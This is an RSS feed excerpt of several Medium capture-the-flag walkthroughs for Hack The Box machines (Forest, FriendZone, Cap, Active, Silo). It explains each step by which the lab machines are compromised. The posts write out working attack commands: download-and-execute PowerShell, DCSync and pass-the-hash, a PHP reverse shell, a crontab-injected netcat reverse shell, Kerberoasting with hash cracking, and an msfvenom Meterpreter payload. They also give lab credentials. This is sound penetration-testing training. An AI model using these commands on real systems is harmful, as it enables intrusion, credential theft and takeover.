src="https://cdn-images-1.medium.com/max/1024/1*j-noFnx4n7CsxRjqNIZXsA.png" /></figure><p>This will collect information about AD domains, and generate some JSON files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*LKtgPw8jecr1JDS778IrQg.png" /></figure><p>Import these files on bloodhound. After done, search for <em>svc-alfresco </em>and mark user as owned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4B6-tlTZ233-yhdIbGN_0g.png" /></figure><p>By double-clicking on the node, you can access the Node Info tab. In this tab, the “GROUP MEMBERSHIP” section displays the groups in which svc-alfresco is enrolled. Simply click on the number <em>9</em> to view these groups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Eta8VS5EMWdoWUYsbM4-g.png" /></figure><p>We note that, svc-alfresco is member of Account operators and can add users.</p><p>Go to analysis tab, and choose “shortest paths to high value targets”, with this query, we see that the group “EXCHANGE WINDOWS PERMISSIONS” have the writeDACL, means user in this group can add ACL to any object in the AD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tn5uZHihF3zAVcWDThyIIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*52m7whWkQKZvHypV19LfUw.png" /></figure><p>Now from our evil-winrm shell, let&#39;s create a new user; and add it to the “Exchange windows Permissions” and “Remote Management Users” groups</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kuzP1WlRiOnDgcQLDK6M_w.png" /></figure><p>To be able to use command to modify acl rights of our new user, we to upgrade the simple evil-winrm shell to a <a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">powerview </a>shell.</p><ul><li>First download it in your attack box and launch a simple http server</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0HX_7TkiOPBgGV6QfbFYjw.png" /></figure><ul><li>Use the <em>Bypass-4MSI </em>command in the evil-winrm shell to evade any defender before import script</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*BKAnySbZZns7CZTHCxq3vA.png" /></figure><ul><li>Import the script</li></ul><pre>iex(new-object net.webclient).downloadstring(&#39;http://TARGET_IP:8000/PowerView.ps1&#39;)</pre><p>Now, we can use the<em> Add-ObjectACL</em> command</p><pre>$pass = convertto-securestring &#39;R0bot321!&#39; -asplain -force<br>$cred = new-object system.management.automation.pscredential(&#39;htb\mrRobot&#39;,$pass)<br>Add-ObjectACL -PrincipalIdentity mrRobot -Credential $cred -Rights DCSync</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*huBdKI7Gs4CX6kbFJN7KEQ.png" /></figure><p>What done is call DCSync attack which allows an attacker to impersonate a domain controller and request password information for all Active Directory users, including administrator accounts and the KRBTGT account (used for Kerberos authentication). The attacker utilizes Active Directory’s native replication features to extract this information.</p><p>Once done, use the <em>secretsdump</em> script of impacket with credentials of our mrRobot user</p><pre>impacket-secretsdump htb/mrRobot@TARGET_IP</pre><p>As output, we have password hashes of all AD users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*hl_QNIBjHvp7rarCTOve6w.png" /></figure><p>Use it to connect trough psexec</p><pre>impacket-psexec administrator@TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*laO7mP_gzXhH_cFRl4WPfw.png" /></figure><p>Now let’s capture the admin flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*fql8rn47I-mDFiG38EODMw.png" /></figure><p>Hope you enjoyed reading :)</p><p>Follow me for more.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a26e0417896" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/forest-htb-walkthrough-step-by-step-7a26e0417896">FOREST HTB WALKTHROUGH | STEP-BY-STEP</a> was originally published in <a href="https://systemweakness.com">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FRIENDZONE HTB WALKTHROUGH]]></title>
            <link>https://systemweakness.com/friendzone-htb-walkthrough-0e9ef96da556?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e9ef96da556</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Wed, 07 Aug 2024 10:10:10 GMT</pubDate>
            <atom:updated>2024-08-07T12:13:31.109Z</atom:updated>
            <content:encoded><![CDATA[<p>FRIENDZONE is an HTB machine which help to understand and test some common vulnerabilities in a Linux environment. I will explain clearly each steps I follow to pwn this machine, and explain each vulnerability how to exploit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*GbOW7mDy4-hD41WfZrUORg.png" /></figure><h3>RECONNAISSANCE</h3><p>First, scan the target using nmap</p><pre>nmap -sC -sV TARGET_IP</pre><p>Some ports are open and have service running on : 21(FTP), 22(SSH), 80(HTTP), 445(samba)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7rwplhGpwRswt-Wc1Pyglw.png" /></figure><h3>ENUMERATION</h3><p>Now we knew running services, we will try to get more information about the target by using the fact that some ports are open.</p><h4>Samba share files</h4><p>Samba is a protocol use by Linux system to share files in a network. Sometimes poor configuration allow a user to connect as <em>anonymous </em>which mean without any password. I use the following command to see shares folders</p><pre>smbclient -L //TARGET_IP</pre><p><em>NOTE : to connect anonymous, don’t hit any password it will be asked or add the flag -N to the previous command</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*m1ssshXz2H0JasGCQ9Db1w.png" /></figure><p>Once we have this list, let&#39;s look at any shared folder for which anonymous user have read right. By using the following command, you can open a folder as anonymous and have interactive SMB shell</p><pre>smbclient -N //TARGET_IP/folder</pre><p>Try command for each shared folder, the folders with which anonymous user have read right is <em>Development</em>, and <em>general</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*CYyxOHzt8XIThSQD9cPkCg.png" /></figure><p>As you seen in the figure, there is an interesting file inside the folder <em>general</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ROudYJ16avaucus5iNebJA.png" /></figure><p>Get the file and opened it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*Q7fEoeNcgWpwM-OWsLeOew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*r5_H9O3TJNdv7QIv_q5EsQ.png" /></figure><p>The file contains admin password, but the combination of these credentials not work to connect the machine with ssh. So keep the retrieve information in mind, and let&#39;s find where these credentials can work</p><h4>Website enumeration</h4><p>Remember port 80 is open, running the HTTP service mean that at the address <a href="http://TARGET_IP">http://TARGET_IP</a> there is a website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5jqC3eDLNmW2ZC_3ERePvg.png" /></figure><p>But using the IP address for enumerating site web can create a lot of confusion with some tools. Another notable thing to remind from reconnaissance phase is that the port 53 is open and running DNS service, which mean the website can be accessed by using not only IP but domain name. But our Attack Box seem to not be aware about it, we update the /etc/hosts file, then hit <em>friendzone.red</em> in our browser will redirect us to TARGET_IP site</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*BAX2lznLr-3UZDLEuJKYcg.png" /></figure><p>Navigate to http://friendzone.red</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SJcfZwmEsEhisaNVnRq27g.png" /></figure><p>The port 443 running too, mean website supports HTTPS. Navigate to <a href="https://friendzone.red">https://friendzone.red</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fOSNVk_D82jRKblTYOw8zw.png" /></figure><p>The site seem to be most update, so we will target it. First enumerate subdomains, using di.</p><pre>dig axfr friendzone.red @TARGET_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l-h7Z_C9cICl5xCvpZ74PA.png" /></figure><p>Add found subdomains to /etc/hosts</p><pre>echo &quot;10.129.43.69 administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red&quot;</pre><p>Let’s visit <a href="https://administrator1.friendzone.red">https://administrator1.friendzone.red</a> there is a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q1PjbwFrgBdBF_Wkz97rzQ.png" /></figure><p>Try the credentials we previously found : admin/WORKWORKHhallelujah@#</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OaYrZfNsraw_Dl1mfircw.png" /></figure><p>We can know visited dashboard page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4mlY5HZj_c6zS_LlzM1Mvg.png" /></figure><p>Something interesting with this page is that, you can open another php page by provide his name as url parameters.</p><p>The result with dirbuster show another php page which is timestamp.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YoUXEqFqA3wK2uWf4jxaAQ.png" /></figure><p>With the following url : <a href="https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=timestamp">https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=timestamp</a>, an image and the timestamp web page is opened</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WHo2j45_xKWzFWkwiVFqlw.png" /></figure><p>There is a huge vulnerability that mean a malicious php file can be executed, but how can we exploit it ? Remember, we have a read and write access to the samba share folder development</p><pre>nmap --script smb-enum-shares.nse 10.129.43.69</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*N5tVy4mlbosCAppg5XBZOQ.png" /></figure><h3>GAIN ACCESS</h3><p>The workflow to gain access is simple : upload a reverse shell in samba shared Development folder and open it via the dashboard page.</p><p>First connect trough smbclient</p><pre>smbclient &quot;//10.129.43.69/Development&quot; -N</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*oSFlsTU7JHqVnfMkbMsFrA.png" /></figure><p>Now download a php reverse shell, there is a good one here : <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php</a>, and modify IP by your attack box IP and set chosen port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*TFKjkYEkzSXnjwJImSEdtQ.png" /></figure><p>Upload the file in shared folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*Dtu3rW2Bg5Px9OyLFFgtgw.png" /></figure><p>Open a listener with ncat</p><pre>nc -e /bin/sh -lvnp 4444 </pre><p>Set the page name parameter with the full path to shell, URL will look like <a href="https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=/etc/Development/shell">https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=/etc/Development/shell</a></p><p><em>Note that shell is the name i gave to my file</em></p><p>We are in, connected as www-data user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I--5_oL4PMMQOhwOeR2ilQ.png" /></figure><p>We can retrieve its flag at /home/friend</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*iZfnw_V0RqvBjDWkbAbiqw.png" /></figure><h3>PRIVILEGE ESCALATION</h3><p>Once have regular access, we will try to be root user. But before, let’s upgrade our shell to be more interactive</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*BWMQgRKrSA40V9ek-k1aSA.png" /></figure><p>First, I do a lateral movement to connect as a regular user. I found a password in the file mysql.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*Uy4861HlgWADMOY-qyv2wA.png" /></figure><p>And try to connect using it, and it works (password reuse is a common bad security habit)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whXvtIlJFqzLMccM7W65QA.png" /></figure><p>Connected as Friend user, the vector use to be root is exploit running <a href="https://fr.wikipedia.org/wiki/Cron">cron jobs</a>; which is automated script run by linux; the vulnerability to exploit is that some of these cron is ran as root.</p><p>This is awesome tools help to spy running process on Linux machine even without needed privileges : <a href="https://github.com/DominicBreuker/pspy">https://github.com/DominicBreuker/pspy</a>. Put the script in share folder, and execute it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FnOAExSHteeo7MulLx0Fsw.png" /></figure><p>What we can see is that there is the file <em>/opt/server_admin/reporter.py</em> running every 1 minutes with root permission(UID=0). But we don’t have permission to write on reporter.py, but it imports a file in which we have write permission(you can use linPES to checkit)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qrmoaoBv_iwLVKKcwbeesg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*2QyOkmeGNRyoujmeXoLAvw.png" /></figure><p>This vulnerability is known as <em>module hijacking</em>, to exploit it, let&#39;s first create a new os.py file and put it in share folder</p><pre>shell = &#39;&#39;&#39;* * * * *  root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc TARGET_IP 1234 &gt;/tmp/f \n&#39;&#39;&#39;<br>f = open(&#39;/etc/crontab&#39;, &#39;a&#39;)<br>f.write(shell)<br>f.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKwp4f_IA4x1w_6jmtwO7g.png" /></figure><p>This will adds a one line reverse shell as cron jobs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*nenMv7m3Rq8FwNZl6z7ApA.png" /></figure><p>Replace the original contain of file by the malicious one you created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*KLjGpqfBzSc6DytYzuZ3ZA.png" /></figure><p>Open a listener, wait for the execution of cron, you can see new line inside the /etc/crontab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YMHYwOex7z7Qrg1QQqM4lw.png" /></figure><p>We’re in, connected as root and retrieve flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*sEVL2eGOR8VsZ0smQaW4ww.png" /></figure><p>Hope you enjoy reading, if have any questions, drop in comment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e9ef96da556" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/friendzone-htb-walkthrough-0e9ef96da556">FRIENDZONE HTB WALKTHROUGH</a> was originally published in <a href="https://systemweakness.com">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CAP WALKTHROUGH | HACK THE BOX | CAPUTRE THE FLAG | LINUX SYSTEM]]></title>
            <link>https://systemweakness.com/cap-walkthrough-hack-the-box-caputre-the-flag-linux-system-1c7ca7db5e08?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c7ca7db5e08</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Tue, 06 Aug 2024 17:56:50 GMT</pubDate>
            <atom:updated>2024-08-07T12:13:33.321Z</atom:updated>
            <content:encoded><![CDATA[<p>Linux machine can be vulnerable too, that is what I learned from this HTB machine. I will show you steps to pwn the machine, and what is important to learn about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*zOlAwHpY1lihYd_StIqUUQ.png" /></figure><h3>RECONNAISSANCE</h3><p>The first step in hacking methodology is to have a global view of the target and what running on. This can be done by a simple nmap scan</p><pre>nmap -sC -sV TARGET_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQ69MqEzr0YSlLXQ-C33nA.png" /></figure><p>There are some opens port and running services : 21(tcp),22(ssh),80(http).</p><p>Start by exploring website, seems an online tool for network scanning</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*603hJaUwYnZOWt-8ad_d-Q.png" /></figure><p>Look at the URL where app redirect after done a security snapshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XjSjRTiQQrqyDY-VzhZiAg.png" /></figure><p>The form is <a href="http://TARGET_IP/data/[id]">http://TARGET_IP/data/[id]</a>; the id can be modified and we can be redirected to another scan. Try to acces <a href="http://TARGET_IP/data/0">http://TARGET_IP/data/0</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XC_aY6_BQF-w00MRpx-p4A.png" /></figure><p>Download file and open it with wireshark</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nCxyqFpnY9TmAYskEZzYLQ.png" /></figure><p>While exploring the file, I note an FTP request connection with password non encrypted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o85mtYnSveg2P0_s9CLpLw.png" /></figure><p>Remembered SSH port is open, so i tried to connect trough ssh, hoping the password is reused</p><pre>ssh nathan@TARGET_IP</pre><p>It was the case and we are IN</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMWmdAFlKKtXcQOAgSIRkA.png" /></figure><p>Can now retrieve the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*9Oc_LcYZszxo99fyjsVqrw.png" /></figure><h3>PRIVILEGE ESCALATION</h3><p>nathan user is not an admin, so we need to do a privilege escalation.</p><p>This can be done, by use <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">linPEAS </a>which is an automated script, will help to give way to have an admin account</p><p>Victim machine is not connected to internet, to transfer it the script, we will first download it on our own machine</p><pre>curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh</pre><p>And launch a simple http server using python</p><pre>python -m  http.server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*duh_Vk7Zd0YIGko9HKlK4A.png" /></figure><p>Finally download file in victim machine with following command</p><pre>wget http://TARGET_IP:8000/linpeas.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cB1ZL6JF5_Mi0iGiHLk_OQ.png" /></figure><p>Execute it</p><pre>sh linpeas.sh</pre><p>We got an interest result, the /usr/bin/python3.8 is executed by nathan user as admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JXhv2Ywsf9cC8ATY844kfw.png" /></figure><p>We can take profit of this, by using the following command</p><pre>/usr/bin/python3.8 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;);&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ysRa78Bz2vfV0fIPJ7Sz8Q.png" /></figure><p>And retrieve the root flag inside <em>/root</em> directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*ZbdRfen2Y4stm7BkDLJLng.png" /></figure><p>You successful Pwn this machine.<br>Hope you enjoy your reading. If there is any question ask in comments :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c7ca7db5e08" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/cap-walkthrough-hack-the-box-caputre-the-flag-linux-system-1c7ca7db5e08">CAP WALKTHROUGH | HACK THE BOX | CAPUTRE THE FLAG | LINUX SYSTEM</a> was originally published in <a href="https://systemweakness.com">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ACTIVE HTB WALKTROUGH]]></title>
            <link>https://systemweakness.com/active-htb-walktrough-f93330b5580b?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/f93330b5580b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Tue, 06 Aug 2024 10:12:27 GMT</pubDate>
            <atom:updated>2024-08-06T13:33:56.453Z</atom:updated>
            <content:encoded><![CDATA[<p>Active vulnerable machine help to have better understanding on how to compromise active directory environment. In this article, I will show you step by step how to pwn it. Don&#39;t worry about the flags, I won&#39;t show them to let you experience the thrill of discovering them for yourself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*5gLf1eaLh7sEknwvDUolxw.png" /></figure><h3>RECONNAISSANCE</h3><p>Let scan the machine first to know, which are running services</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R6pNZ97rwASz7zaPqkEx7g.png" /></figure><p>There are a lot of open ports.<br>Firstly, we will focus on the SMB port, trying to list all shares folders with the following command</p><pre>smbclient -L //TARGER_IP</pre><p>When password is asked, don’t hit anything and just press Enter, will log in as anonymous, and see these folders</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m87qy_lRzEyHedIKgijhBA.png" /></figure><p>Once I have share files, I try to read each folder, and only the Replication folder can be read by anonymous login</p><pre>smbclient &quot;\\\\TARGET_IP\Replication&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*yBoxM2adqBLDCQIrpWtsSQ.png" /></figure><p>Once inside, I started to explore the folder and am fall on a particular file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZXk0AIioFLA5BCdQYC7W5g.png" /></figure><p>Which I downloaded on local machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2_U3ImfJUz-dIKNoMOJmlg.png" /></figure><p>The file contain user and encrypted password</p><p>The password can be decrypted by using the tool gpp-decrypt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1DYpL6XkbFZFkbe4uSlm8g.png" /></figure><p>With these credentials, we can access another folders like <em>Users </em>and explore it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*1oGwrJkzYQgqhKqqHmvs9Q.png" /></figure><p>Inside the Desktop folder we can get the user flag and download it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zm3sZ2OP-b86earONBkp1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*TphU-cdqVGzGnIwZgCkq7g.png" /></figure><h3>Privilege Escalation</h3><p>With a regular user account, we can use the impacket-GetUserSPNs script to know which user account is vulnerable to Kerberoasting which is common in Active Directory environment. You can learn more about the authentication protocol Kerberos and the attack <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast">here</a>.</p><p>Firstly, we can list users with the following command :</p><pre>impacket-GetUserSPNs -dc-ip TARGET_IP &#39;active.htb/SVC_TGS:GPPstillStandingStrong2k18&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jWXc4t-egvhegR3Idd0I1Q.png" /></figure><p>By adding the flag -request to the previous command, we can retrieve the NTLM hash of the password of Administrator user.</p><pre>impacket-GetUserSPNs -dc-ip TARGET_IP &#39;active.htb/SVC_TGS:GPPstillStandingStrong2k18&#39; -request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OY8IdmrWaYmfpq92-RU4Pw.png" /></figure><p>Once we have it, we can crack hash with <a href="https://hashcat.net/hashcat/">haschat</a>.</p><pre>hashcat -m 13100 hash /usr/share/wordlist/rockyou.txt</pre><p>The flag -m represent the algorithm use for generate hash which is <em>Kerberos 5, etype 23, TGS-REP</em> represent in tool by <em>13100</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*PBqs9AAcCCDYschW0wNjQA.png" /></figure><p>Hashcat successful crack the admin password which is <em>Ticketmaster1968</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dtsHQiwELe9rHJA7QbEI5A.png" /></figure><p>Let’s connect as Administrator by using impacket-psexec</p><pre>impacket-psexec &#39;active.htb/Administrator:Ticketmaster1968&#39;@TARGET_IP</pre><p>And we are in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*6GdoZBo2iguCB-ASR9yoxQ.png" /></figure><p>And we capture the Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*9VJ-Awv0dbOXpQ_6DowLJA.png" /></figure><p>Hope you enjoy reading. If you have any questions, drop it in comments</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f93330b5580b" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/active-htb-walktrough-f93330b5580b">ACTIVE HTB WALKTROUGH</a> was originally published in <a href="https://systemweakness.com">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SILO HTB WALKTHROUGH]]></title>
            <link>https://systemweakness.com/silo-htb-walkthrough-33845b0f02d4?source=rss-bec299e7c0f1------2</link>
            <guid isPermaLink="false">https://medium.com/p/33845b0f02d4</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[MEFIRE FILS ASSAN]]></dc:creator>
            <pubDate>Mon, 05 Aug 2024 12:31:49 GMT</pubDate>
            <atom:updated>2024-08-06T13:33:01.134Z</atom:updated>
            <content:encoded><![CDATA[<p>SILO is a Hack The Box vulnerable machine which help to understand the problem with using outdated version of oracle database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*h7uPMRoQAEN0lPiSA214Iw.png" /></figure><h3>RECONNAISSANCE</h3><p>The first step is to scan the machine to know which services are running and version by using nmap.</p><pre>nmap -sC -sV -Pn -p-10000 TARGET_IP</pre><p>As we can see in the following result, there are 6 ports open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o_3PNOSCIbeRwNEb_dttng.png" /></figure><p>In port <em>1521</em>, the service running an oracle database. A little research about the used version show that, there are commons vulnerabilities discover about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EgUX4U1ONIwE3QXUryVe7g.png" /></figure><h3>VULNREABILITY ON ORACLE DATABASE</h3><p>The first thing to do is to have a valid <a href="https://asktom.oracle.com/ords/asktom.search?tag=what-is-a-sid-how-to-change-it-how-to-find-out-what-it-is"><em>SID </em></a>which help us to connect to the oracle database. For guest a valid <em>SID</em>, we will use metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-utu6zVC9Y3Z_HDgXiJ5ng.png" /></figure><p>The metasploit module to use is auxiliary/scanner/oracle/sid_brute, which done a brute force to find valid SID. Set different options and run module</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pjQufeqLpDfSCpW0FaPLDg.png" /></figure><p>With the valid SID, we can get password from user. Let&#39;s do that by use this fabulous tool for oracle database security testing : <a href="https://www.kali.org/tools/odat/">https://www.kali.org/tools/odat/</a>. The following scan will test the database and find username and password</p><pre>sudo odat passwordguesser -s TARGET_IP -d SID</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*103o_fHxzMZdI2wyegpNeA.png" /></figure><p>The tool found the user <em>scott </em>and it password <em>tiger.</em></p><p>With these credentials, we can use odat tool to upload a payload on target machine and execute.</p><p>Create payload with this command</p><pre> msfvenom -p<br>windows/x64/meterpreter/reverse_tcp lhost=&lt;LAB IP&gt; lport=&lt;PORT&gt; -f exe &gt; payload.exe</pre><p>Now we can upload the payload on the target machine using odat</p><pre>odat utlfile -s TARGET_IP -U scott -P tiger -d XE --sysdba --putFile c: shell.exe path_to_payload</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v0HUhkx_mMRBnnUnh5lCeg.png" /></figure><p>As you seen payload is successful download, before execute it, opened a listener on attacker machine by using exploit/multi/handler of metasploit</p><pre>set payload payload/windows/x64/meterpreter/reverse_tcp<br>set LHOST ATTACK_BOX_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SAXdsdXjjRS7mrvv9i5BkA.png" /></figure><p>Now execute the file trough odat</p><pre>odat externaltable -s TARGET_IP -U scott -P tiger -d XE --sysdba --exec c:/ writeup.exe</pre><p>whe are In</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*-c6vUKI9c7Ac86_9aLZ8RQ.png" /></figure><p>Another interesting thing is that, we are connected as administrator, so just open a shell and found flags.</p><p>The user’s flag inside the folder <em>C:\Users\Phineas\Desktop</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*kzUTeMHSA2KyTaVDT8o4vQ.png" /></figure><p>The admin’s flag inside the folder <em>C:\Users\Administrator\Desktop</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*TFRhqbcR2RK737gCMVG9AA.png" /></figure><p>Thanks for reading. Hope you enjoy it, if you have any questions, ask in comments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33845b0f02d4" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/silo-htb-walkthrough-33845b0f02d4">SILO HTB WALKTHROUGH</a> was originally published in <a href="https://systemweakness.com">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>